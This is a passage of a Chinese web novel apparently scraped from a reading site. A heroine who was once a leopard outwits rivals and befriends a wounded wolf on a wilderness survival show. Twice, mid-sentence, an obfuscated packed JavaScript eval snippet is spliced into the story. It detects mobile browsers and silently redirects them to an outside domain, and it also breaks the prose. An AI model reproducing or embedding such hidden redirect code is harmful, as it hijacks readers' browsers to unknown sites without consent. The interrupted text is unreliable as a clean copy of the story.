是中午借锅的阿姨,张静敏。 嘴角一抽,黎星言敛了笑容,视线越过她,往右前方望去。 那里已经没了云媞的身影,只剩一堆刚支好的篝火架。 - 可恶!可恶!太可恶了! 打猎不叫他就算了,还和别的野男人同行。 到底有没有把他这个正牌预备男友放在心里!真以为小爷没了她就不能活了是吧! 泄愤似的,黎星言拿着手中的长枝条狠狠抽向树干。 扫视一圈灌木丛生的针叶林。 听说,有选手在这里拾到了新鲜浆果,运气好还能撞见野兔山鸡或寻条小河捞鱼。 黎星言冷哼一声。 等着吧,等小爷我抓到野兔,狠狠甩到那负心女脸上,好让她看清楚到底谁更有实力。 沿着小道搜寻几十分钟。 颗粒无收。 连众人说的随处可见的清甜浆果都没找到。 此时,天色已经完全暗了。 丛林深处伸手不见五指,嗖嗖的阴风穿梭林中,只叫人寒毛倒竖。 像是遇见了鬼打墙,黎星言已经迷失方向,完全找不到来时路。 就连白日里阴魂不散的无人机也不见踪影。 太安静了。 他只能听到自己擂鼓般的心跳,以及脚步踩在枯叶上的细响。 强行逼自己镇定下来,黎星言试图通过手环联系节目组。 【SOS】 微暗的屏幕闪频三下,亮起红色警告图标。 【《生存者游戏》提醒您:山地地图已开启,按下“SOS”键后,您将直接退出比赛,累计奖金作废,录制结束。】 “去你大爷的!” 黎星言咒骂一声,径直按灭手环屏幕。 想让我认输?告诉云媞,本少爷我,不是孬种! 他拍拍手电筒,继续往前走。 突然,脊背发凉,某种生理性防御机制似乎在警示他:有东西正盯着自己。 黎星言提高步速,渐渐地,化走为跑,再然后,头也不敢回地在林子里狂奔起来。 身子猛得撞上什么东西。 “啊!!!!” 黎星言惊叫。 “闭嘴!” 云媞蹙眉,捂住他的嘴巴。 视线越过黎星言的肩膀。 一双绿色的眼睛,在不足三米的斜前方,与她四目相对。 是狼。 它也在观察。 谁都不敢轻举妄动。 云媞沉眸,一瞬不瞬地直视这只成年孤狼,喉间发出低沉的咕噜声。 这是一种威慑式的警告。狼在单独行动时,不是花豹的对手。 “什么声音?摩托车卡嗓子眼了?” 黎星言放松下来后,开始胡言乱语。 下一秒,云媞将他紧紧搂进怀里,双手合拢。 她已经做好准备,如果眼前这只野狼决定殊死一搏俯冲过来,她会当即将黎星言抱摔一侧,然后抽出腰间短刀,给它致命一击。 但很显然,狼是聪明的动物。 它从云媞身上敏锐感知到血脉压制,饿一时还是饿一死…… 野狼后撤几步,倏地扭头,压着尾巴逃之夭夭。 “好啦好啦,这么粘人……我保证,以后不会离开你半步了!” 黎星言红着脸,轻声低哄。 他浑然不知,自己差点就被身后的饿狼拆骨入腹。 待这片区域彻底没了狼的气息,云媞一把推开黎星言。 弯腰,拾起地上奄奄一息的野兔。 没走两步,她挑出其中一只,朝饿狼离开的方向用力掷去。 转头对上黎星言费解的幽怨目光。 她面无表情道:“看什么,还不快走?” * 返回大本营时,旷野上已升起丛丛篝火。 从无人机航拍视角看去,如星光点点,照亮夜空。 在野地过夜,篝火不仅可以防寒保暖,也能驱赶猛兽及蚊虫。 但云媞点火只是为了干饭。 整个大部队,只有她和班列逮到了野兔和山鸡,叶玄捕到几条鱼。 嗯……还有黎星言走出丛林边缘时,捡到一颗疑似鸟蛋。 “你们终于回来了!” 张静敏起身,招呼他们坐下,“听他们说林子里面可能有狼,见你们这么久没动静,吓死我了……” “那么小的林子,没走两步就出来了,怎么可能有狼,”黎星言偷瞄云媞,孔雀开屏似的,陡然提高音量,“就算有,小爷我的肌肉也不是白练的!” 云媞淡淡瞥了他一眼。 也不知道刚才是谁吓得慌不择路,满林子乱窜。 另一边,见叶玄回来,明娇娇也迎上前。 “哇!叶玄哥哥!你捉到了鱼儿,好棒呀!” 她熟稔地抱住叶玄的胳膊,满眼小星星。 叶玄轻咳一声,原本还觉得没捕到野兔有些掉面子,现下美人这么一恭维一撒娇,男人的自尊心瞬间拾回几分。 他一边处理鱼的内脏,放在篝火架炙烤,一边跟明娇娇解 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不是所有人都能像黎星言和明娇娇那样享受“特权”带来的福利,也不像云媞和叶玄那样有技能傍身、自给自足,甚至很多人都不如张静敏那样具有先见之明、懂得自备干粮和工具。 大多数普通人,只能依靠节目组提供的初始资源过活。 但他们不敢置喙领路人叶玄,便把矛头看起来更好欺负的“弱女子”云媞。 “谁知道那女的怎么搞到的野味?就她那细胳膊细腿?要我说,肯定是我们叶哥大度,暗中分给她的……” “一个人吃那么欢,真是自私自利……” “娇娇,你可得盯着点那女的,听说她刚参加节目时就故意接近叶哥,让叶哥教她骑车,还想和叶哥组队,太不要脸了!” …… “你胡说八道什么!” 黎星言气得面色涨红,长腿跨作两步,直冲别人地盘。 他举起平底锅,指向那群长舌佬,“叶玄算个什么东西,给云媞提鞋都不够资格,谁稀得接近他?你们再敢瞎编排试试?” 谁都知道他。 节目组强塞的玩咖,坐直升机铺红毯来的黎家阔少。 如今却在给灰姑娘云媞当舔狗。 有人对此感到不齿。 “以黎少您的身份,倒是配给她提鞋咯。” 正暗讽着,一记飞刀咻得从眼前飞速掠过。 随着寒光一闪,说话者鬓角的发丝掉落几茬。 刚才还喧杂不堪的人群,当即鸦雀无声。 几秒过后。 众人回过神,顺着飞刀驶来的方向惊恐望去,只见云媞气定神闲坐在篝火前。 昏黄的火光在她侧脸跳跃,忽明忽灭间,渗出一丝骇人的气场。 “你!你居然用刀!” 第一次有人在节目中朝同类亮刀,虽没见红,但也是一种挑衅的信号。 一时间群情激愤,谴责仇视的目光纷纷射向云媞。 一场新的风暴似乎即将蔓延。 云媞却浑然不觉。 将嘴里的烤鸡嚼吧嚼吧,她偏头,有些不明所以,“宰兔子不用刀用什么?你的嘴吗?” 话音未落,班列站在云媞刀落的地方,惊呼一声,弯腰拣起一只垂死的野兔。 “扎中了!” 9. 第 9 章 看着那只被短刀精准扎进脑门的野兔,再看看坐在篝火旁埋头啃食的女孩。 一鼓一鼓的腮帮子,吃到流油的嘴角…… 分明只是个大馋丫头嘛。 刚才怎么会产生“她要杀人”的念头。 还有那个骇人的气场,也是错觉吧! 大伙儿莫名松了口气,这才开始近距离端详起云媞。 等等,怎么越看越眼熟…… “啊!我记起来了!她是不是从天桥跳下来制服歹徒的侠女?上热搜了的那个新闻!” “我靠!你这么一说我有印象了,好像还真是,我说怎么总感觉在哪里见过她……” “难怪她第一天就敢朝叶哥竖中指,真有点东西在身上啊……” 从怨怼到崇拜,只在一瞬间。 眼看大家对云媞的实力就要刮目相待了,这时,叶玄突然出面言和做起好人。 “大家好好说话,不要用言语攻击他人,不过也要注意刀枪无眼免得误伤……” 比赛初始阶段,选手们刚从文明社会剥离,竞争意识还没有那么强。 而叶玄作为临时队伍的主心骨,俘获不少追随者,只要他开口,大家都会给几分面子,也不去深究孰对孰错。 云媞静看他数秒,正要说话。 站在叶玄身后的明娇娇偷偷翻了个白眼。 但在叶玄看向她时,又当即扬起讨巧的笑容,“叶玄哥哥说得对!大家都要和和气气的。” 说着,她扬起下巴,高傲地睨了云媞一眼,“但是云媞,我告诉你,叶玄哥哥是我的,你别想打他主意!” ? 好迷惑的行为。 谈话间,班列已走过来,晃了晃手中物,笑得与有荣焉,“直插脑门,一招毙命!真厉害!” 云媞“唔”了一声,点点兔子,意有所指地看向那群质疑自己“受了恩惠”的围观群众,“给他们都看看——” 她朝叶玄微微颔首,淡声道:“到底谁才是谁的爹。” 学会做人的第一步:拿回当大爹的主动权。 “噗呲。” 黎星言嗤笑出声,朝云媞竖起大拇指,“虽然某人并没有像那群白痴说的那样,暗中分给媞媞猎物,因为没那个实力,但我们媞媞依旧选择大度!Nice!” 嘴上张扬跋扈,黎星言心里却跟灌了蜜似的。 虽然媞媞总是对他忽冷忽热,但她心里还是有他的!她会主动抱他,还会为了维护他而与那群人持刀相向,更会一视同仁地骂别人…… 果然,是他多虑了。他应该誓死追随老婆才对! 另一边,叶玄自知理亏,并未因他们的冷嘲热讽而动怒。 反倒是明娇娇,像在替他撑腰似的,捏着鼻子大声叫唤:“兔兔那么可爱,为什么要吃兔兔,云媞!你一个女孩子怎么能这么残忍……” 她抬手,试图制止班列靠近,“我们不吃!” 真不吃吗? 刚才烤兔子时,分明见她馋得直流口水。 云媞太能明白明娇娇眼底那种对食物的渴望了,可现在……她在装什么? 不动声色舔了舔唇,云媞拾起一捆枯草,将火添得更旺些,“只是拿给你们看,又没说给你们吃。” “长得美——”她撕咬一口肥得流油的兔腿,偏头看向对方,“想得也挺美。” 一种伪装被看穿后的心虚感油然而生,明娇娇慌乱移开视线,跺了跺脚,回到车内。 * 以云媞和叶玄为界,大部队分作两波,维持着一种诡异的和平。 一边选手惊羡云媞敏锐的捕猎技巧,另一边选手仰慕叶玄广博的求生技能。 篝火燃近尾声,烈风吹得火星子劈啪作响。 突然,汽车轰鸣打破宁静。 车轮碾压沙砾,在路面划出尖锐的噪音。 “哟,真有缘,竟然在这里汇合了。” 原本由“恶人团”带队的五六辆车,提前出发,走了另一条路线,结果在山地兜兜转转,耗时耗力耗油,最终还是在这里狭路相逢。 头车下来四人,吊着眼甩着膀子巡视一番。 其中一人伸腿,踢了踢篝火烧完后的灰烬,“吃了什么?挺香啊。” 这群傻子,还真当是来旅游露营了。好吃好喝团结一致,自洽和谐。 看着就……令人不爽啊。 “砰!” “恶人团”为首的沈泰随意一脚将车门踹上,皮笑肉不笑。 “友善的同胞们,既然说要互帮互助,谁能借我们一点油?” 油? 众人一时困惑,谁也没出声。 看了看手边的小壶食用油,张静敏思忖片刻,主动起身将油壶递过去,“食用油吗?我这里有……” 说话间,吴光豪大手一挥,“谁他妈要这个,滚远点!” 未拧紧的油壶在空中划出一条抛物线,溅了周围人一身,砰然落地后,渗进枯草地里。 冒着青烟的灰渣“呲”了一声,又燃起将明将灭的火花。 “听好了,谁的车还有多的机油,赶紧抽点给老子,别让老子一个一个去看油表……” 说完,他扫视几辆女生居多的车队,然后斜着眼看向张静敏,“你有吗?” “我开的是摩托车……”张静敏呐呐道,“油…应该不能混用吧……” 吴光豪用意味不明的眼神将她从头到脚打量一番,扭头朝身后的“盟友”们调笑:“就这婆娘还会骑摩托呢?” 他哼笑两声,径直推开她,“赶紧巴结一下其他人,捡个能组队的漏吧!” 张静敏没站稳,踉跄后退几步,被云媞拦腰托住。 “组队?很好吗?”云媞问。 答案是显而易见的,不然越野车也不会在一开始就被一抢而空,甚至很多选手为了组队成功直接随机拉人,连对方是人是鬼都不清楚。 但大多数人忘了最重要的一点。 从交通工具的型号来看,节目组提供的这款越野车比摩托车更耗油,即使在最理想状态下,不走弯路直达集合点,越野车的油量也只是堪堪够用。 所以不可避免会因为燃油紧缺而产生资源争夺,“恶人团”挑起的事端,只是冰山一角。 更何况…… “同车必须满五人才生效,不说中途谁被赶走谁能留下,我更好奇的是,”云媞上前一步,一错不错看着沈泰的眼睛,“奖金,你们五个人打算怎么分?” 一个车队只对数量有要求,对具体成员无要求,意味着,每个人都是可以被替换的那个。 而一路上,个人能力强弱必将显露,权衡利弊、各怀鬼胎,谁又能保证自己不被队友合起伙来踢出局? 更别提赢得比赛后的利益瓜分,亲兄弟还要明算账,何况是这群貌合神离的临时队友。 如一记警钟,组队的选手们这才恍然察觉“无规则”背后的怪异之处。 看向各自队友时,眼神都变得有些不一样。 “泰哥,我对您绝对是忠一不二的!”吴光豪当即朝沈泰表忠心。 但他清楚,沈泰最近和其他队一个女的打得火热,保不齐为了女人,弃兄弟于不顾。 沈泰自己也明白,“全员恶人”的团队里,都想称王立威,只看谁更狠。 怀疑的种子一旦埋下,便会在悄无声息中生根发芽。 “臭娘们,谁他妈允许你在这里挑拨离间?” 沈泰身后,一个光膀子的男子疾步走出,抬手就要作势扇人。 黎星言急遽挡在云媞身前,班列也分站一侧。 像同仇敌忾的护卫犬,一左一右将可能危及主人的障碍物隔开。 透过两人之间的缝隙,对面男人右臂的青龙纹身格外显眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129832|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一特征…… 云媞眸光微闪。 原书中有提到过这个人,项雄。 全国臭名昭著的强.奸犯,刚刑满释放。因对明娇娇起了歹念,被叶玄杀了拖进沼泽地喂鳄鱼。 当然,这些都是在镜头捕捉不到的雨林暗处发生的。 两边僵持不下之际,顶着男主光环的叶玄闪亮登场。 三言两语便浇灭战火,再次在选手中树立威望。 夜风猎猎,月影铺地。 最后一簇篝火熄灭。 云媞躺在睡袋里,望向夜空。 和塞伦盖蒂的星空一样,神秘,盛大。 不过……若是这里也有大树就好了,睡在空旷的地上始终没有安全感。 正回顾着原书中今晚将会发生的事故,一阵窸窣声由远及近。 微微侧目,黎星言拖着刚组装好的帐篷走过来。 他在离云媞两米的距离停下,按照刚才别人教的方法,用地钉将帐篷四角固定。 “那什么……看你一个女孩子,就让给你睡吧。” 黎星言撩开一侧门帘,“赶紧的,趁本少爷现在还没反悔。” 云媞眨了眨眼,“你还会装这个?” 还以为他只会装叉呢。 “开什么玩笑!瞧不起谁?”黎星言冷哼一声,“这可是我花了一万大洋,专门叫人装好的。” 好吧,还是熟悉的bking味。 但他似乎没明白,能靠钱解决的事,只是基于他的财力,并非能力。 而在弱肉强食的蛮荒地,财力最易失效。 云媞打了个哈欠,背过身子,“你自己用吧,我不需要。” 顿了顿,她淡声提醒:“今晚别出来。” * 这句话让黎星言百思不得其解。 等到一百零一思时……他就睡过去了。 后半夜,喧豗嚷嚷,似有人起了争执。 黎星言眯着惺忪睡眼,拉开帐篷。 不远处火光冲天,伴随刺鼻的机油味。 一群人围在一辆越野车旁,推搡谩骂。 “靠!太没有素质了!你们这帮人居然偷油!” “什么叫偷?别说那么难听,大家互帮互助,每人匀一点出来,就都可以到达雨林集合点……” “凭什么!你们到不了,对我们来说才是有利的!” 沈泰轻笑一声,招了招手。 另一车队一女子垂着头,挪步到他身前。 慵懒将胳膊搭在女人肩上,沈泰意味深长地用下巴点了点对面据理力争的女生,“宝贝,你自己说,油是我偷的吗?” 面面相觑,欲辨忘言。 对面女生瞬间懂了,大骂:“当初是你说不会骑摩托车,girlshelpgirls,现在你整这死出?!” 说着,一群人就要冲上去。 “嘭!” “嘭!” “嘭!” 粗壮的木棍狠敲车身,喧嚷霎时消停。 吴光豪单手撑起引擎盖,跳到车头,举着木棍大吼:“再叫一声试试?信不信老子把你这辆破车砸烂了,让你们直接退出比赛?” 说完,他做了个抹脖子的动作。 蛮荒之地,亡命之徒,穷途末路。 不在乎是否有镜头对着自己,亦不在意综艺结束回归现实后如何自处,每个人心里只有一个念头—— 干票大的。 「三年起步,死刑不亏。」 环视一圈,所有选手都在看热闹。 离帐篷最近的那张睡袋却空空如也。 “云媞呢!” 逮住正看热闹看得津津有味的班列,黎星言手都开始微微发抖,“你看到云媞了吗?” 云媞不见了。 与她起过冲突的强.奸犯,项雄,也不见了。 10. 第 10 章 又是林间。 云媞不懂人类为何如此热衷于深更半夜跑到小树林。 毕竟,她更喜欢稀树草原。 广袤、开阔,易于观察猎物以及施展拳脚。 不过,即使行至林中,她也依旧能做到悄无声息。 不疾不徐跟着前方两道身影。 停下。 一男一女站在细长的树干旁,窃窃私语。 “虽然你年纪大了点,但胜在挺有韵味,要不要试试?” 月光泠泠,透过树缝洒在女人身上,勾勒出柔和的曲线。 她轻轻点头。 男人火急火燎脱掉外套,露出满臂青龙纹身。 树叶晃动,人影交叠。 三分钟不到。 项雄从半敞开的裤兜摸出一根烟,仰头,吸了一口,“等老子拿到奖金,带你去国外定居,成不?” “可你不是和泰哥他们一队吗?到时也分不到多少吧?” “我对泰哥有恩,到时候一起弄死那几个傻逼队友,我和他五五分。”项雄嗤笑一声,烟雾喷了女人一脸,“不过话说,你还是第一个对老子没有偏见的女人。” 怜惜似的,女人主动环抱住他,“我相信你本性不坏,社会应该给你一次改过自新的机会……” “去他妈的改过自新!”项雄突然激动起来,“老子本来就没错,我他妈是替沈泰那狗东西顶罪的!” “呵,毛都没长齐的丫头,只有他那种男女老少通吃的死变态才感兴趣!” 项雄将脸埋进女人胸前,闷声呢喃:“我还是更喜欢你这种有女人味的……” 夹杂着刺鼻的二手烟,女人体内的味道也变得浑浊。 似乎被烟呛到,她偏头咳嗽一声。 一张熟悉的面容映入眼帘。 云媞沉默转身,隐匿丛中。 果然,她没有闻错。 那个女人,正是张静敏。 * 出林子时,天刚蒙蒙亮。 暗蓝的雾霭笼罩山谷,露气深重。 没走两步,云媞被一个温热的怀抱拢住。 “你去哪儿了?没事吧!” 黎星言松开怀抱,手却依然紧紧攥住云媞的胳膊。 反反复复看了几遍,确认她“表面无碍”后,黎星言再次张开怀抱,“吓死我了,还以为你……没事就好没事就好。” 也不知道他在外面晃荡了多久,向来一丝不苟的精致发型,此刻乱糟糟的。 衣服上的露气也已结为晶体,顺着云媞的脖颈滑进胸口。 有些凉,又有些热。 一种从未有过的奇怪感觉。 凝视黎星言的后脖颈,云媞兀地觉得眼前人,对自己来说是极大的威胁。 因为……她对他的靠近感知微弱。 亦或是说,她的生理性防御在他面前……似乎失效了? 要不要,杀了他。 正想着。 聚集地爆发一阵骚动。 “大家快看看自己的东西少没少!我的吃的都不见了!” “我靠哪儿来的深渊巨口,把我偷偷藏的好几包蛋黄派都咬破了!” “不儿?!你有蛋黄派为什么昨晚还蹭我的泡面??” …… 所有选手的东西或多或少都有丢失,而无一例外,全是吃食。 众目睽睽之下,姗姗来迟的云媞从黎星言的帐篷中拖出白色行李箱,按了指纹锁后,掀开。 满满当当的储备粮,一点没少。 “大爷的!还真是麻绳专挑细处断,命运戏弄大馋猪,为啥只有我们这种缺衣少食的被偷……” “黎小少爷的行李箱估计连枪都打不穿,谁会去偷?” “emm泰哥雄哥表示有话要说……” 众人酸气熏天,有羡慕有愤懑,还有晦暗不明的眼神中渗出的贪婪。 云媞却盯着箱子的一角,陷入沉默。 这里有一排深深浅浅的齿印,明显是啃咬过后的痕迹。 哪个选手这么饥不择食,直接上嘴就啃? “怎么了?” 见云媞许久未动,黎星言随即蹲下,歪头凑近,“别听他们那些穷酸话,小爷我在这儿,看看他们谁敢来偷来抢? 他说话时,红润的薄唇一张一合,连带着那双精致的眼眸也越发清亮。 云媞兀地想起林中看到的那幕。 鸳鸯交颈,一冲一撞。 “你、你一直盯着我做什么?” 黎星言耳根隐隐又开始发烫,“好吧,我知道正常人面对我这张帅脸很难不动心,但劝你也别太迷恋……” 云媞淡然掠过视线,望向他身后。 明娇娇的东西似乎也被偷了,正缩在叶玄怀里梨花带雨。 那黎星言放在明娇娇车上的几个行李箱……? 云媞沉下脸,拔腿走过去。 她离开得始料未及,毫无拖泥带水。 黎星言在原地懵了片刻,猛得扭头。 云媞渐行渐远的背影,就像正宫单枪匹马去当场捉奸似的,气势汹汹。 所以…… 她刚才看的其实不是自己,而是他身后的叶玄??? * 离越野车两米之遥。 “吱呀”的轻微细响穿透车身,顺着晨风灌进耳膜。 云媞顿住。 “你在我们车附近干嘛?怎么?黎大少爷给的食物还不够,还想抢我们娇娇的?” 无人不知,云媞“一开始就耍心眼勾引叶玄”,即使她明知,叶玄和明娇娇情投意合。 想到这里,明娇娇的队友吴佳面色不虞,喊道:“赶紧走!我们这里不欢迎你!” 说罢,她叉着腰走向车门。 锁扣的咔哒声,一瞬间与野兽喉间的低吼重叠。 大敞的车窗内,一道灰影闪电般俯冲而来。 电光火石间,云媞腾空扑向吴佳,猛地将她推到一侧。 扭头。 一只黄灰色的野狼正以扑食的姿势,前肢微曲,卧在女孩刚刚站立的地方。 空气凝滞一瞬。 随后是响彻云霄的尖叫。 “啊啊啊啊啊啊狼啊!有狼!” 选手们乱作一团,抱头鼠窜。 更有甚者,直接开车、骑摩托沿着搓板路,火速逃离。 “绕着车身,跑到人多的地方。”云媞头也不回,反手推了推仍在愣神的女孩,“还不走,想喂狼吗?” 吴佳如梦初醒,霎时冷汗直冒。 难以置信地瞟了几眼云媞,软着腿,逃离此地。 刚脱离危险,吴佳便与逆行奔来的黎星言迎面撞上。 向来目中无人的小少爷,此时脸色煞白,看起来比自己还要恐慌。 “别过去,那边有狼!”吴佳颤着嗓子说。 黎星言充耳不闻,阴沉着一张俊脸,与她擦肩而过。 下一秒,他就被班列死死钳住胸口。 “你放开我!媞媞还在那里!” 明明差不多高,身形也相差无几,黎星言却动弹不得。 真不知道这死屌丝吃什么长大的,手劲这么大。 “别白费力气了,我不会放你过去的。” 即使一臂锁喉,班列还能腾出另一只手,撩开遮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129833|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼的长发,“你个菜鸡,去了只会干扰姐姐。” 正巧,他也想趁此机会,最后再确认一遍,云媞是否真是他的花豹姐姐。 – 老相识见面,没了第一次的“拘谨”。 云媞也懒得再探它的虚实。 “不知道你听不听得懂人话,”云媞缓缓伸出一巴掌,“但我这一巴掌下去,你可能会死。” 其实应该还没到那个实力。也许是和黎星言待久了,近墨者黑,她也开始变得strong。 正想着如何赤手空拳赶跑这只野狼。 只见它嗷呜一声,匍匐在她脚下。 云媞也没料到会是这种走向,一时愣在原地。 或许是自己的错觉,总感觉它毛茸茸的尾巴,也在左右晃动。 野狼抬起脑袋,那双深褐色的豆豆眼里透出一丝清澈。 它从嘴里吐出一个东西,用前爪扒了扒,小心翼翼推到云媞身前。 一袋包装完好的兔肉丁。 …… “这是在报答我那晚扔了只野兔给你么?” 云媞蹲下身,抬手,正要拾起包装袋。 野狼呜咽一声,主动将毛茸茸的脑袋伸到她掌下,轻轻顶了顶。 出于某种肌肉记忆,云媞差点脱口而出“好狗好狗”。 隔近了些,才看清野狼的前爪有不正常的弧度,毛发上还沾着干枯的血渍。 似乎是拜捕兽夹所赐。 这种东西的威力有多猛,云媞早在非洲大草原亲眼目睹过。 她沉眸,单手掰开野狼的嘴筒,伸指探进去。 果然,好几颗原本锋利的牙齿已残缺不平。 不知它是如何从捕兽夹脱身,也不知失去战斗力被狼群抛弃的它如何独自生存,更不知它如何拖着受伤的身躯捕食充饥。 但它现在却已经适应了扭曲的前肢,重回狼的英姿。 虽然……有点狗样。 云媞心里五味杂陈,兀自撕开包装袋,还给野狼,“你自己吃吧,我可以吃别人的。” 毕竟,黎星言的,就是她的。 “不过,不要再潜入队伍里偷抢其他人的食物了,知道吗?” 人类是很狡猾且残忍的生物,当他们拥有武器,再凶猛的野兽也只能束手就擒。 更何况,它受伤了,若真打起来,压根不是那群人的对手。 “嗷呜~” 野狼乖乖趴在地上应和,哪里有半分威胁。 云媞沉默数秒,轻轻拍拍它的头,“等着,给你拿点食物。” 晨雾缭绕,曙光熹微。 在地势隆起的半坡,原本躁动暴戾的野兽,此时却伏在年轻女孩脚下,俯首称臣。 远远望去,一人一狼的剪影,竟有种说不出的唯美和谐。 但……那毕竟是野兽。 望着返回队伍的云媞,众人肃然起敬,下意识纷纷让路。 择出一堆自己不那么爱吃的零食,云媞打包塞进袋里。 “别去了。” 黎星言攥紧她的手腕,眼底仍是惊魂未定,“狼很狡猾的,一次是侥幸,保不准它什么时候兽性大发……” “它没有恶意。” “但它是个畜生,再通人性,本质也还是凶残……” 云媞的脸色瞬间冷下来,毫不留情甩掉黎星言的手,“滚开。” 穿过形形色色的人潮,她径直朝不被信任的野兽走去。 众人满是探究、迷惑、嗤之以鼻。 只有一道目光异常灼热。 默默观察良久的班列,倏地勾起嘴角。 找到你了,姐姐。 11. 第 11 章 将小包挂到狼背,打眼一看,越发狗里狗气。 “走吧,我也要走了。” 拍拍它晃个不停的大尾巴,云媞叹了口气,“再看到我们这群人,千万离远一点,知道了吗?” 也不管野狼听没听懂,云媞扭身就走。 一人向南,一狼向北,在工笔线条般的山脊渐行渐远。 无人机盘旋高空。 远处,太阳冉冉东升。 苍莽荒原,浮光跃金,竟也似枯木逢春。 * 再次折返人群。 大伙看向云媞的眼神都变得怪异起来。 有人小声嘟囔:“自己人都没得吃,还挑了那么多食物给畜生。” 云媞偏头,一脸莫名其妙:“谁跟你是自己人?我俩认识吗?” 呃……好有道理,竟无言反驳。 那么,又有人要上价值道德绑架了,“不知道不能随便给野生动物投食吗?这样会打破生态平衡的!” “行,不给它吃,它晚上就来吃你,这样生态平衡了吧?” …… 小姑娘家家,平时一声不吭,怼起人来竟针针见血。 众人自觉无趣,渐渐散了。 准七点,队伍整装出发。 叶玄推着摩托车,走到云媞身边,若有所思道:“刚才那只狼为什么听你的话,你会驯兽?” 原书里,叶玄与天斗、与地斗、与人斗,但与猛兽斗,多少还是有所忌惮。 若眼前这个疑似会“驯兽”的女孩,真有这种奇异能力,那的确得考虑招为己用。 ……尽管她总是对自己爱答不理,甚至出言不逊、朝他竖中指。 云媞还未搭话。 一个身影猛地将叶玄撞开。 “不好意思,”黎星言挑眼,语气即礼貌又挑衅,“您挡道了。” ? 你是说方圆十里没人的旷野,还能挡你道了是吗? 叶玄无奈轻笑,到底没和这孩子气十足的金贵少爷计较。 “先出发,晚些再聊。” 视线略过黎星言,叶玄温和地朝云媞颔首致意,“路上注意安全,毕竟后座还带了个体型较大的包袱。” 待人走出数米。 黎星言后知后觉,“他什么意思?谁是包袱啊!我吗?!” 本来刚才被云媞凶,长这么大还是第一次有人敢对他说“滚开”二字,他已经够委屈了。 那时黎星言想:是她偏要一意孤行,被狼一口吞了,也别怪他不念旧情、见死不救。 但谁也没发现,他就守在离狼最近的地方。 手里握着的那把短刀,已在他细嫩的掌心压出深浅不一的横纹。 见云媞安然无恙,黎星言才稍稍放下心来。 于是,那股怨夫感再次涌出。 被暗恋自己的女孩甩脸子,这谁能忍? 「这次我再轻易原谅她,我就是狗!一定得叫她意识到自己的错误,并主动哄我二十分钟,我再勉为其难接受她的示好。」 等来等去,没有等来云媞的示好。 结果看到装货叶玄竟趁他不在,跑去勾搭云媞。 呸!横刀夺爱,臭不要脸! 黎星言越想越气,“你刚才为什么不拒绝他?” 云媞已经戴好头盔,听不清他的话。 见他还傻站着,径直将他的头盔递过去,“还坐不坐了?” 黎星言“哦”了一声。 好吧,主动递头盔了,也算是台阶吧。 bking男,给个台阶,跪着就爬上来了。 坐上后座。 小心翼翼将脑袋贴在云媞后背,黎星言撇了撇嘴,轻声说:“我再原谅你一次,下次不许再让我滚开了……” “我也会难过的。” 摩托车的轰鸣声此起彼伏。 队伍继续前进。 “不说话,那我就当你同意了。” “……汪。” * 山地虽广,但好在队伍里有叶玄打头阵,野外探险专家所在的车队也同行。 两日不到,已走了四分之一的路程。 照这样下去,在机油耗尽前到达雨林集合点,应该不成问题。 为了赶路,选手们中午自发缩短休整时间。 到晚上已是困饿交加。 不少迷弟迷妹围着叶玄和明娇娇蹭吃蹭喝,但这么多人,一人一口都能吃到亏空。 便开始有人,将注意打到黎小少爷身上。 作为本节目最财大气粗的选手,理应不会太过抠门吧。 谁料,刚开口。 黎星言“啧”了一声,“还有一个月呢,分给你们吃了,我吃什么?” 他没得吃倒不那么重要,重要的是,他那么爱吃的老婆吃什么! 真正的男人,苦自己,也不能苦了老婆。 男选手们勾肩搭背、软磨硬泡,无果。 几个女孩也夹着嗓子,撒起娇来。 但丝毫不解风情的黎星言迷惑发问:“嗓子里装哨子了?什么死出动静,这是人类能发出的声音吗?” 美人计,也卒。 待这些人走后,黎星言偷摸打开背包。 昨晚捡到的蛋还没有吃。 人多,他一直藏着,想单独拿给云媞。 毕竟,这是他亲手捡到……哦不,猎到的第一个“战利品”,理应献给最重要的人独享。 女人,这不得把你迷死,从此对本少爷死心塌地? 黎星言正窃喜。 一抬头,原本还在附近的云媞,不知何时悄无声息地离开了。 * “是在找我吗?” 云媞从树后闪现,漠然望着眼前人,“你跟了我很久。” “姐姐!” 班列并不意外她来去无影,当即咧起大大的笑容。 听到这声亲昵的称呼,云媞微蹙眉头。 她其实一直想问他…… “为什么要叫我姐姐?” 虽然班列疑似原书无名氏背景板,不知具体年纪,但以他这幅胡子拉碴、不修边幅的野人样,怎么看也不像比自己小。 “因为你就是我命中注定的姐姐呀!” 这死皮赖脸的性格,莫名让云媞升起一股熟悉感。 难道……是原主的亲戚? 搜索记忆库,查无此人。 见她沉默,班列心知肚明,某人早已将自己这个无关紧要的包袱抛之脑后。 但他丝毫不介意,若是还有尾巴,他现在只会摇得比那头野狼还欢快。 他上前一步,笑得灿烂,“这里的风,比塞伦盖蒂还要无常,不是吗?” 云媞骤然瞪大双眼。 “姐姐,我说过,我永远都会跟着你。”班列抬起双臂,轻晃两下,“即使换个世界,也不会改变。” 下一瞬,空虚的怀抱被填满。 如愿以偿。 “你是斑斑?那只斑鬣狗?” 云媞惊奇地探出手,在他身上四处乱摸,“你是化成人形了,还是穿到别人的身体里?” 冰冷的指尖触及皮肤,却如烙铁般滚烫。 